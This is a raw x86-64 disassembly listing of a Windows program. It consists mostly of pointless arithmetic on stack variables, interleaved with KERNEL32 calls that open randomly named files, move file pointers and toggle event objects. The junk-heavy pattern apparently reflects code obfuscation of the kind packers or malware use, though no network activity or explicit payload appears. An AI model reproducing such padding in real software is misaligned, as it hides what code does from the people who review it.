mov rax, qword [rsp + 0x2590]
mov rcx, qword [rsp + 0x2aa8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2b30], rax
mov rax, qword [rsp + 0x1088]
mov rcx, qword [rsp + 0xf68]
mov qword [rsp + 0x4cb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cb8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x1000]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1574]
mov word [rsp + 0x35ec], ax
movzx eax, word [rsp + 0x4b4]
mov rcx, qword [rsp + 0x14b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x378], ax
mov rax, qword [rsp + 0x1478]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
and eax, ecx
mov byte [rsp + 0xe4a], al
mov rax, qword [rsp + 0x3238]
mov eax, dword [rax]
mov ecx, dword [0x1400fd318]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f8], eax
mov rcx, qword [rsp + 0x3fe8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4304], eax
mov rax, qword [rsp + 0x31c0]
mov qword [rsp + 0x55d8], rax
mov rax, qword [rsp + 0x2590]
mov rcx, qword [rsp + 0x23f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3208]
mov qword [rcx], rax
movzx eax, word [0x1400fc448]
mov word [0x1400fd840], ax
movzx eax, word [rsp + 0x704]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe7c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa678
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2100], eax
mov rcx, qword [rsp + 0x3f20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x211c], eax
mov rax, qword [rsp + 0x1998]
movzx eax, byte [rax]
mov byte [rsp + 0x91c], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.LQeLn5ItgehIjuUA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x55e0], rax
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0x215c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1378], eax
mov rax, qword [rsp + 0x2628]
mov rcx, qword [rsp + 0x3010]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3850], rax
mov rax, qword [rsp + 0x1818]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2f68]
shr rax, cl
mov qword [rsp + 0x17d8], rax
mov eax, dword [rsp + 0x10f4]
mov ecx, dword [rsp + 0xcc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c], eax
mov rcx, qword [rsp + 0x3ae8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x42ba
mov rcx, qword [rsp + 0x1b10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab0], eax
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x91f], al
mov rax, qword [rsp + 0x1fb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x360]
add eax, ecx
mov word [rsp + 0x218], ax
mov rax, qword [rsp + 0x1fd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28c]
and eax, ecx
mov word [0x1400fd698], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4008], rax
mov rax, qword [rsp + 0x2a60]
mov rcx, qword [rsp + 0xd78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3230], rax
movzx eax, word [rsp + 0xbd8]
movzx ecx, word [rsp + 0x8c8]
sar eax, cl
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x3098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe84], ax
mov rax, qword [rsp + 0xfe0]
mov qword [rsp + 0x55e8], rax
movsx eax, byte [0x1400fc382]
movsx ecx, byte [rsp + 0x2ce]
and eax, ecx
mov rcx, qword [rsp + 0x1368]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xf865
mov rcx, qword [rsp + 0x23f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11ac], eax
mov rax, qword [rsp + 0x1548]
mov rcx, qword [rsp + 0x1158]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2710], eax
mov rax, qword [0x1400fc3d8]
mov rcx, qword [rsp + 0x19f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x628]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3990]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3268]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
lea rax, [rsp + 0x1b28]
mov qword [0x1400fd848], rax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov dword [rsp + 0x2738], eax
mov rax, qword [rsp + 0x2408]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x132]
shl eax, cl
mov rcx, qword [rsp + 0x2480]
mov byte [rcx], al
movzx eax, word [rsp + 0x6bc]
mov word [rsp + 0x21f0], ax
movzx eax, word [rsp + 0x88]
movzx ecx, word [rsp + 0x4c0]
sar eax, cl
mov word [rsp + 0x4d4], ax
lea rax, [rsp + 0x3880]
mov qword [rsp + 0x4038], rax
mov rax, qword [rsp + 0x2630]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x24b0]
add eax, dword [rcx]
mov dword [rsp + 0x274c], eax
movsx eax, byte [rsp + 0x11d]
movsx ecx, byte [0x1400fc381]
sub eax, ecx
mov byte [rsp + 0x605], al
movsx eax, word [rsp + 0x444]
movsx ecx, word [rsp + 0x460]
sub eax, ecx
mov word [rsp + 0xeb8], ax
mov rax, qword [rsp + 0xda8]
movzx eax, word [rax]
mov word [0x1400fd850], ax
mov rax, qword [rsp + 0x12b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x978]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x25a0]
mov qword [rcx], rax
lea rax, [rsp + 0x3a60]
mov qword [rsp + 0x3a18], rax
mov rax, qword [rsp + 0x1440]
mov rcx, qword [rsp + 0x2308]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x25a0]
mov qword [rcx], rax
movsx eax, word [0x1400fc4f0]
mov rcx, qword [rsp + 0x1fe8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x30d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe49]
mov byte [rsp + 0x92a], al
mov rax, qword [rsp + 0x11f0]
mov rcx, qword [rsp + 0x3a88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x111c], eax
mov rax, qword [0x1400fd5c0]
mov rax, qword [rax]
add rax, qword [rsp + 0x1a58]
mov qword [rsp + 0x3ea0], rax
mov rcx, qword [rsp + 0x2cf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3490], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.vwWInbth4r5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x55f0], rax
mov rax, qword [rsp + 0x2d60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3b10]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x3e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2820], eax
mov rax, qword [rsp + 0x1280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1490]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1400fd350]
mov word [rcx], ax
lea rax, [rsp + 0x15c4]
mov qword [rsp + 0x3cf8], rax
mov rax, qword [rsp + 0x2670]
movzx eax, word [rax]
mov rcx, qword [0x1400fd7a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x88], ax
mov rax, qword [rsp + 0xa70]
mov qword [rsp + 0x55f8], rax
mov rax, qword [rsp + 0x2f70]
mov rax, qword [rax]
add rax, qword [rsp + 0x1040]
mov qword [rsp + 0x31c0], rax
mov eax, dword [rsp + 0xdfc]
mov dword [rsp + 0x2768], eax
mov rcx, qword [rsp + 0x2458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1fe0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa88]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1bc], al
mov rax, qword [rsp + 0x2b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d4], ax
movzx eax, word [rsp + 0x28c]
movzx ecx, word [rsp + 0x8c8]
and eax, ecx
mov word [rsp + 0x2200], ax
mov rax, qword [rsp + 0xdb8]
mov rcx, qword [rsp + 0x23f8]
add rcx, rax
mov rax, rcx
mov qword [0x1400fc568], rax
mov eax, 0x38
imul rax, rax, 1
mov dword [rsp + rax + 0x5b70], 0x362a4f5d
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2558]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb30]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc447
mov rcx, qword [rsp + 0x1c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf4], eax
mov rax, qword [rsp + 0x2400]
mov qword [rsp + 0x4028], rax
mov rax, qword [rsp + 0x1750]
movzx ecx, al
mov rax, qword [rsp + 0x3f40]
sar rax, cl
mov qword [rsp + 0x4018], rax
mov rcx, qword [rsp + 0x3748]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.cSAIcRZgXbFer
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5248], rax
mov rax, qword [rsp + 0x2560]
mov ecx, dword [0x1400fc4e8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3280]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1be0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
or eax, ecx
mov byte [rsp + 0xe48], al
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x402]
shl eax, cl
mov rcx, qword [rsp + 0x1b08]
mov byte [rcx], al
lea rax, [rsp + 0x9fc]
mov qword [rsp + 0x53a0], rax
mov rax, qword [rsp + 0x3740]
mov rcx, qword [rsp + 0x18c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ad8], rax
mov rax, qword [rsp + 0x18d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6c8]
add eax, ecx
mov word [0x1400fd680], ax
mov rax, qword [rsp + 0x2df8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x30b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1c90]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3748]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2118], eax
mov rax, qword [rsp + 0x1358]
movzx eax, word [rax]
mov word [rsp + 0x208c], ax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x69c]
sar eax, cl
mov word [rsp + 0x288], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6d00
mov rcx, qword [rsp + 0x4cc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x273c], eax
lea rax, [rsp + 0x2f78]
mov qword [rsp + 0x5600], rax
mov rcx, qword [rsp + 0x2f90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
movsx eax, byte [rsp + 0x3e9]
movsx ecx, byte [rsp + 0x1bf]
add eax, ecx
mov rcx, qword [rsp + 0x1368]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cf8]
mov rcx, qword [0x1400fd1f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xe04], eax
movzx eax, word [rsp + 0x43c]
mov word [rsp + 0xf10], ax
mov rax, qword [rsp + 0x17c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2638]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x34c], ax
lea rax, [rsp + 0x18f0]
mov qword [0x1400fd858], rax
mov rax, qword [rsp + 0xd08]
mov rcx, qword [rsp + 0x2918]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4cc8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5f63
mov rcx, qword [rsp + 0x2f80]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
mov rax, qword [rsp + 0xb48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x38d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2278], rax
lea rax, [rsp + 0xa18]
mov qword [rsp + 0x2b70], rax
mov rax, qword [rsp + 0x1fd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d8]
add eax, ecx
mov rcx, qword [rsp + 0x1ae8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x155]
movzx ecx, byte [rsp + 0x3f6]
sar eax, cl
mov byte [rsp + 0xf5], al
lea rax, [0x1400fc384]
mov qword [rsp + 0x5608], rax
mov rax, qword [rsp + 0x22d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2dc8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2b28]
mov byte [rcx], al
mov eax, 0x38
imul rax, rax, 4
mov dword [rsp + rax + 0x5b60], 0xcae7e59b
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov qword [rsp + 0x50c8], rax
mov rax, qword [rsp + 0x2548]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3178]
mov qword [rsp + 0x4cd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cd0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1400fd5e4], eax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1b60]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc80]
mov word [rcx], ax
movsx eax, word [rsp + 0x270]
movsx ecx, word [rsp + 0x21c]
sub eax, ecx
mov rcx, qword [rsp + 0x770]
mov word [rcx], ax
lea rax, [rsp + 0x6a8]
mov qword [rsp + 0x4de0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5610], rax
mov rax, qword [rsp + 0x2590]
mov rcx, qword [rsp + 0x39f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1d38]
mov qword [rcx], rax
lea rax, [rsp + 0x3e80]
mov qword [rsp + 0x3b18], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe7e8
mov rcx, qword [rsp + 0x2470]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd8], eax
mov rcx, qword [rsp + 0x2ac8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x2cb]
movsx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [rsp + 0xe47], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xab6b
mov rcx, qword [rsp + 0x38e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3488], eax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x688]
movzx ecx, al
mov eax, dword [rsp + 0x640]
shr eax, cl
mov dword [rsp + 0x21a0], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd16
mov rcx, qword [rsp + 0x1cb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rax, qword [rsp + 0x2f88]
movsx eax, word [rax]
mov rcx, qword [0x1400fd1b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc38], ax
mov rcx, qword [rsp + 0x2f90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1f00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
add eax, ecx
mov word [0x1400fd64c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.CrBQdUmYQB4GEE6swmKTita
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5348], rax
mov rax, qword [rsp + 0x1ca8]
mov rcx, qword [rsp + 0x3750]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb50]
mov qword [rcx], rax
movzx eax, word [rsp + 0x37c]
mov word [rsp + 0x2040], ax
mov rax, qword [rsp + 0x1ca0]
mov rcx, qword [rsp + 0x14c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2738], eax
mov rax, qword [rsp + 0x2658]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2408]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1468]
mov byte [rcx], al
mov rcx, qword [rsp + 0x3fc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a6c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf8be
mov rcx, qword [rsp + 0x3ce0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4300], eax
lea rax, [0x1400fd214]
mov qword [rsp + 0x4118], rax
mov rax, qword [rsp + 0x3e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x990]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ca8], rax
mov rcx, qword [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x348c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2458
mov rcx, qword [rsp + 0x2fc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
mov rax, qword [rsp + 0x1f18]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fc383]
or eax, ecx
mov byte [rsp + 0x916], al
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [rsp + 0xb1c]
shl eax, cl
mov rcx, qword [rsp + 0x18d8]
mov word [rcx], ax
lea rax, [rsp + 0x8b0]
mov qword [0x1400fd860], rax
mov rax, qword [rsp + 0xb20]
mov rax, qword [rax]
mov qword [rsp + 0x5618], rax
mov rax, qword [0x1400fd1e8]
mov rcx, qword [rsp + 0x29a8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3808]
mov qword [rcx], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x270]
sar eax, cl
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0x25f0]
movzx eax, word [rax]
mov word [rsp + 0x2044], ax
mov rax, qword [rsp + 0x3898]
mov rax, qword [rax]
mov rcx, qword [0x1400fd148]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28f0], rax
lea rax, [rsp + 0x133]
mov qword [rsp + 0x5388], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x52f8], rax
mov eax, dword [rsp + 0x137c]
mov ecx, dword [rsp + 0x1974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x111c], eax
mov rax, qword [rsp + 0x1460]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1838]
add rax, qword [rcx]
mov qword [rsp + 0x2640], rax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5f4]
and eax, ecx
mov word [0x1400fd3b8], ax
lea rax, [rsp + 0x708]
mov qword [rsp + 0x2d88], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2290
mov rcx, qword [rsp + 0x1c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10cc], eax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2480]
mov byte [rcx], al
lea rax, [rsp + 0x10e0]
mov qword [rsp + 0x3d28], rax
mov rax, qword [rsp + 0x2510]
mov rcx, qword [0x1400fd588]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x22e8], rax
mov rax, qword [rsp + 0x3788]
mov rcx, qword [rsp + 0x2b40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2410]
mov qword [rcx], rax
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x3b70], rax
movsx eax, byte [rsp + 0x1b9]
movsx ecx, byte [rsp + 0xe6]
add eax, ecx
mov byte [rsp + 0x3f2], al
movsx eax, word [rsp + 0x30c]
mov rcx, qword [rsp + 0x1458]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x21fc], ax
lea rax, [rsp + 0xec]
mov qword [0x1400fd868], rax
mov rax, qword [rsp + 0x1bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a00], rax
lea rax, [rsp + 0x5d8]
mov qword [rsp + 0x4d78], rax
mov rcx, qword [rsp + 0x2458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2164], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.QDsB3kBxpm_sFzqy41vl7dg3B
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x52c8], rax
movsx eax, word [rsp + 0x4b8]
movsx ecx, word [rsp + 0x454]
shl eax, cl
mov rcx, qword [rsp + 0x1280]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3cd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26c8], eax
mov rax, qword [rsp + 0x3918]
mov rax, qword [rax]
mov rcx, qword [0x1400fd848]
mov qword [rsp + 0x4cd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cd8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2248], rax
mov rax, qword [rsp + 0x1af0]
mov rax, qword [rax]
mov qword [rsp + 0x5620], rax
mov eax, dword [rsp + 0x694]
mov ecx, dword [rsp + 0x1388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2130], eax
movsx eax, byte [rsp + 0x404]
movsx ecx, byte [rsp + 0x135]
sub eax, ecx
mov byte [rsp + 0x3f1], al
movzx eax, word [rsp + 0x4bc]
movzx ecx, word [rsp + 0x21f8]
and eax, ecx
mov word [rsp + 0x34c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2ae3
mov rcx, qword [rsp + 0x40a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3488], eax
mov rax, qword [rsp + 0xb48]
mov rcx, qword [0x1400fc408]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1400fd4c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2104]
mov ecx, dword [rsp + 0x26f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1380], eax
lea rax, [rsp + 0x2df]
mov qword [rsp + 0x31d8], rax
movsx eax, word [rsp + 0xc28]
mov rcx, qword [0x1400fd268]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x874], ax
lea rax, [rsp + 0x5d4]
mov qword [rsp + 0x3380], rax
mov rax, qword [rsp + 0x3e90]
mov rcx, qword [rsp + 0x19a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x17c8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x50d0], rax
mov rax, qword [rsp + 0x1158]
mov ecx, dword [rsp + 0x7a4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2980]
mov dword [rcx], eax
lea rax, [rsp + 0x3ea]
mov qword [rsp + 0x3cc8], rax
mov rax, qword [rsp + 0x1190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1698]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1c90]
mov word [rcx], ax
movzx eax, word [rsp + 0x878]
mov word [0x1400fd870], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1f7b
mov rcx, qword [rsp + 0x3758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
lea rax, [rsp + 0x18d0]
mov qword [rsp + 0x5158], rax
mov rax, qword [rsp + 0x2950]
mov rcx, qword [rsp + 0x2ff0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2258], rax
mov rax, qword [0x1400fd788]
mov rcx, qword [rsp + 0x2b70]
mov qword [rsp + 0x4ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ce0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2f98], rax
lea rax, [rsp + 0x1578]
mov qword [rsp + 0x4dc0], rax
mov rax, qword [rsp + 0x1170]
movzx ecx, al
mov rax, qword [rsp + 0x19f0]
shr rax, cl
mov qword [rsp + 0x2a28], rax
lea rax, [rsp + 0x238]
mov qword [rsp + 0x4dd0], rax
mov rax, qword [rsp + 0x828]
mov ecx, dword [rsp + 0x670]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1090]
movzx eax, byte [rax]
mov byte [rsp + 0x934], al
mov rax, qword [rsp + 0x14d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa38]
add eax, dword [rcx]
mov dword [rsp + 0x20c], eax
movsx eax, word [0x1400fc50c]
mov rcx, qword [rsp + 0x3008]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc570], ax
movzx eax, word [rsp + 0x430]
movzx ecx, word [rsp + 0xe80]
sub eax, ecx
mov word [rsp + 0x2c0], ax
mov rax, qword [rsp + 0x3d00]
movzx eax, word [rax]
mov word [rsp + 0x2034], ax
mov rax, qword [rsp + 0x31e8]
mov rcx, qword [rsp + 0x2dd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x30c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2420]
movzx ecx, al
mov rax, qword [rsp + 0x28f8]
shr rax, cl
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1120]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1788]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x583]
movsx ecx, byte [rsp + 0x3ea]
add eax, ecx
mov byte [rsp + 0x10b], al
lea rax, [rsp + 0x157c]
mov qword [rsp + 0x3ab0], rax
movzx eax, word [0x1400fd168]
mov rcx, qword [rsp + 0x25d0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x1288]
mov word [rcx], ax
mov rax, qword [rsp + 0x3020]
movzx ecx, al
mov rax, qword [rsp + 0xdb8]
shl rax, cl
mov rcx, qword [0x1400fd180]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3250]
movzx eax, word [rax]
mov word [rsp + 0x2054], ax
mov rcx, qword [rsp + 0x3a80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1740]
mov rcx, qword [rsp + 0xc58]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x39b0]
mov rcx, qword [rsp + 0x1880]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2640], rax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2c38]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe46], al
mov rax, qword [rsp + 0x37a0]
mov rax, qword [rax]
add rax, qword [rsp + 0x1878]
mov rcx, qword [rsp + 0x3c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3228]
movzx eax, byte [rax]
